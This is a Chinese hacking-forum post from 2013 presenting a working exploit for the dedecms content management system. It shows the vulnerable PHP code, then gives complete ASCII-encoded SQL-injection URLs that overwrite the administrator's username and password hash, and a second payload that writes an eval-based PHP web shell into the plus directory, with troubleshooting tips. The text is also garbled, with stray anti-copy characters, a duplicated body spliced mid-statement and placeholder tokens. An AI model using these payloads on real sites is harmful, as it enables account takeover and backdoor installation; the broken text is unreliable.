找回密码
 立即注册
查看: 3493|回复: 0
打印 上一主题 下一主题

dedecms最新版本修改任意管理员漏洞+getshell+exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 16:08:21 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此漏洞无视gpc转义,过80sec注入防御。
: |' `% ]; g# P1 t7 r补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
' X" m' X4 G% }& ]# E2 Z起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
4 [- D# Z3 K5 T5 u0 t( P6 _include/dedesql.class.php
+ z2 s8 r! ^- G" h& Z* C8 ~if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。: K3 j7 }7 \/ O1 L
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
1 R; |7 U4 F: d& @4 W而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
) O3 D6 P- A+ N9 O1 K- `plus/download.php
7 J$ d* M$ E! b& E" S& @  b+ jelse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):8 t3 S1 S7 r5 L
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:1 ?4 _6 A. }8 V  Q: }6 ~# Q
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:  r5 g2 R9 b8 ^+ q
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin- M% a. q8 D0 S, z
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。  G) r9 a, Y9 f7 p9 y6 P% L
如果找不到后台,参见以前修改数据库直接拿SHELL的方法
. }2 ^  m8 y- \. ^% x' ?! M, B5 DUPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。
! Z5 H* x( W& m* |5 c补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
9 t, m$ `! ]+ \* x! u3 f  Y: N起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
7 d, E  @+ y+ k' _+ Uinclude/dedesql.class.php
/ S/ O- J2 `* Y' b. Zif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。/ D& g( k0 V) M
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
0 f) B# C2 L7 }. L. q而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。* l# Q- }* `) b: q- ]" @
plus/download.php" ]$ u4 k$ q/ n. J6 a2 Q. N/ p
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
7 Z! q3 G2 B+ k; G& I0 N0 ^) xadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
% [0 I. u3 K# o3 nUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:4 j3 V8 L$ p. r+ m; K( H0 g9 y/ j
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin- }( [3 M- ^& D
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。* O! K0 X, U1 b! X. G2 _
如果找不到后台,参见以前修改数据库直接拿SHELL的方法* n0 d4 h( ^* k$ ]; u/ o
___FCKpd___6getshell:( n' B9 g! c. q: ^! M
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
/ O6 [  W. t9 Ohttp://127.0.0.1/plus/x.php1 F4 e4 w2 I. K( B! m  {4 `0 D7 ^
update成功后还要访问下 /plus/mytag_js.php?aid=1
; G- ~/ p( Y. s) I失败原因:3 }, ^* P7 u3 H. s6 u8 {
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)+ Y/ [' {3 f# y  |: N
配图:7 k0 Q3 Q4 u% O" A% s& Z
1.查看dede当前版本9 |4 N( n1 n& ]& S! d" @
- ~' j( `* u9 G9 l5 @+ Y
2.执行exp  \% }: S, D. N7 }1 j7 a8 o0 E' K
: d" F$ B/ [' z
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台4 T! M8 q8 R. W8 ?9 k8 e3 [
1 n7 t# X! Z/ ^) q
spider密码admin
6 P0 u: V& e. T7 m% ]! o/ c
( p; ?/ `8 {( g+ f; w8 d* [5 Chttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png6 W0 T3 y" u- z# \* K
原作者:imspider
- k% V* [! @! C* x5 a' ]! ^6 M3 n% u; U! R9 h: L& N$ `+ E+ j, ^5 a
本博客测试+配图+getshell
! T) e0 l( H# R/ m( y1 x2 nPOST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT ) }1 X$ O9 x" H( `& j( U: v
) E( h* _* ~8 f% K
getshell:% E) N  Q5 l0 t
___FCKpd___7会在plus目录生成 x.php 密码 m$ Q) J$ Y' ^: `: m6 s; E6 F, k
http://127.0.0.1/plus/x.php
5 j, Z/ `" u! p- x; k' ~' E; gupdate成功后还要访问下 /plus/mytag_js.php?aid=1- j- R( h5 v6 S$ _) G/ y
失败原因:+ E+ P3 i$ d% @. @0 o: D- l
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
+ X8 N; `, L& C4 `9 \8 f+ o配图:, h$ Y1 Z8 M4 f& d
1.查看dede当前版本
# x  z/ i0 a/ r- L; jhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png: R5 B# U0 [3 s+ _9 ^2 j
2.执行exp9 m. ^/ Y+ U) a: z/ U
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
, t# A" _* }$ i+ S1 ?spider密码admin
& b0 Q7 R' j' ^http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
2 _) y! e  _& d: ?  g1 W
: L- Z0 ^3 ^$ U) j( l2 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表